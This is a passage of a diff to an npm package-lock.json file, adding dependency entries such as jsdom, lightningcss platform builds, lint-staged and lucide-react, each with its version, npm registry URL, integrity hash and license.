"funding": { + "url": "https://github.com/sponsors/typicode" + } + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/import-fresh/node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ini": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/ini/-/ini-6.0.0.tgz", + "integrity": "sha512-IBTdIkzZNOpqm7q3dRqJvMaldXjDHWkEDfrwGEQTs5eaQMWV+djAhR+wahyNNMAa+qpbDUhBMVt4ZKNwpPm7xQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "license": "MIT" + }, + "node_modules/is-core-module": { + "version": "2.16.2", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.2.tgz", + "integrity": "sha512-evOr8xfXKxE6qSR0hSXL2r3sd7ALj8+7jQEUvPYcm5sgZFdJ+AYzT6yNmJenvIYQBgIGwfwz08sL8zoL7yq2BA==", + "license": "MIT", + "dependencies": { + "hasown": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-east-asian-width": "^1.3.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-reports": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", + "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jiti": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", + "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", + "devOptional": true, + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.0.tgz", + "integrity": "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsdom": { + "version": "29.1.1", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-29.1.1.tgz", + "integrity": "sha512-ECi4Fi2f7BdJtUKTflYRTiaMxIB0O6zfR1fX0GXpUrf6flp8QIYn1UT20YQqdSOfk2dfkCwS8LAFoJDEppNK5Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@asamuzakjp/css-color": "^5.1.11", + "@asamuzakjp/dom-selector": "^7.1.1", + "@bramus/specificity": "^2.4.2", + "@csstools/css-syntax-patches-for-csstree": "^1.1.3", + "@exodus/bytes": "^1.15.0", + "css-tree": "^3.2.1", + "data-urls": "^7.0.0", + "decimal.js": "^10.6.0", + "html-encoding-sniffer": "^6.0.0", + "is-potential-custom-element-name": "^1.0.1", + "lru-cache": "^11.3.5", + "parse5": "^8.0.1", + "saxes": "^6.0.0", + "symbol-tree": "^3.2.4", + "tough-cookie": "^6.0.1", + "undici": "^7.25.0", + "w3c-xmlserializer": "^5.0.0", + "webidl-conversions": "^8.0.1", + "whatwg-mimetype": "^5.0.0", + "whatwg-url": "^16.0.1", + "xml-name-validator": "^5.0.0" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24.0.0" + }, + "peerDependencies": { + "canvas": "^3.0.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jsdom/node_modules/lru-cache": { + "version": "11.5.2", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.2.tgz", + "integrity": "sha512-4pfM1Ff0x50o0tQwb5ucw/RzNyD0/YJME6IVcStalZuMWxdt3sR3huStTtxz4PUmvZfRguvDejasvQ2kifR11g==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/ky": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/ky/-/ky-2.0.2.tgz", + "integrity": "sha512-/GmXpo9F9W+f8n4Ivr2iH+7h7wL7jLbLKWkMlpflcCRb6kGjBfTlASEXaZ9qUgNTn4VgS0P2pwxxzQ4EM6Ulgg==", + "license": "MIT", + "engines": { + "node": ">=22" + }, + "funding": { + "url": "https://github.com/sindresorhus/ky?sponsor=1" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lightningcss": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.32.0.tgz", + "integrity": "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==", + "license": "MPL-2.0", + "dependencies": { + "detect-libc": "^2.0.3" + }, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + }, + "optionalDependencies": { + "lightningcss-android-arm64": "1.32.0", + "lightningcss-darwin-arm64": "1.32.0", + "lightningcss-darwin-x64": "1.32.0", + "lightningcss-freebsd-x64": "1.32.0", + "lightningcss-linux-arm-gnueabihf": "1.32.0", + "lightningcss-linux-arm64-gnu": "1.32.0", + "lightningcss-linux-arm64-musl": "1.32.0", + "lightningcss-linux-x64-gnu": "1.32.0", + "lightningcss-linux-x64-musl": "1.32.0", + "lightningcss-win32-arm64-msvc": "1.32.0", + "lightningcss-win32-x64-msvc": "1.32.0" + } + }, + "node_modules/lightningcss-android-arm64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.32.0.tgz", + "integrity": "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-arm64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.32.0.tgz", + "integrity": "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-x64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.32.0.tgz", + "integrity": "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-freebsd-x64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.32.0.tgz", + "integrity": "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm-gnueabihf": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.32.0.tgz", + "integrity": "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==", + "cpu": [ + "arm" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-gnu": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.32.0.tgz", + "integrity": "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-musl": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.32.0.tgz", + "integrity": "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-gnu": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.32.0.tgz", + "integrity": "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-musl": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.32.0.tgz", + "integrity": "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-arm64-msvc": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.32.0.tgz", + "integrity": "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-x64-msvc": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.32.0.tgz", + "integrity": "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "license": "MIT" + }, + "node_modules/lint-staged": { + "version": "17.0.8", + "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-17.0.8.tgz", + "integrity": "sha512-B2P/d+jVW0UXOQ0MVMLrB/9ydA1P+zz6jYfdrbbEd9ur3S2rcbduFWKiUCC02Sm5hbC8nrm7y24WuYMG54HfxA==", + "dev": true, + "license": "MIT", + "dependencies": { + "listr2": "^10.2.1", + "picomatch": "^4.0.4", + "string-argv": "^0.3.2", + "tinyexec": "^1.2.4" + }, + "bin": { + "lint-staged": "bin/lint-staged.js" + }, + "engines": { + "node": ">=22.22.1" + }, + "funding": { + "url": "https://opencollective.com/lint-staged" + }, + "optionalDependencies": { + "yaml": "^2.9.0" + } + }, + "node_modules/listr2": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/listr2/-/listr2-10.2.2.tgz", + "integrity": "sha512-JtNtbZj8q5BnDMR7trpwvwk3RIrANtIVzEUm8w7amp6xelLgyuq+4WZoTH913XaQAoH/cNdYhaNzBPA2U3xbDw==", + "dev": true, + "license": "MIT", + "dependencies": { + "cli-truncate": "^5.2.0", + "eventemitter3": "^5.0.4", + "log-update": "^6.1.0", + "rfdc": "^1.4.1", + "wrap-ansi": "^10.0.0" + }, + "engines": { + "node": ">=22.13.0" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/log-update/-/log-update-6.1.0.tgz", + "integrity": "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-escapes": "^7.0.0", + "cli-cursor": "^5.0.0", + "slice-ansi": "^7.1.0", + "strip-ansi": "^7.1.0", + "wrap-ansi": "^9.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/log-update/node_modules/slice-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", + "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.2.1", + "is-fullwidth-code-point": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/log-update/node_modules/string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update/node_modules/wrap-ansi": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz", + "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.2.1", + "string-width": "^7.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/lucide-react": { + "version": "1.24.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-1.24.0.tgz", + "integrity": "sha512-YT6mBD8lGKkg4nM39enlm94/sfJIiW0YKUT60fBy4YK8tai31ylg1VhGNWxkpSKHo9UagfnZqwIff3HTDQwXeA==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/lz-string": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz", + "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", + "license": "MIT", + "bin": { + "lz-string": "bin/bin.js" + } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + 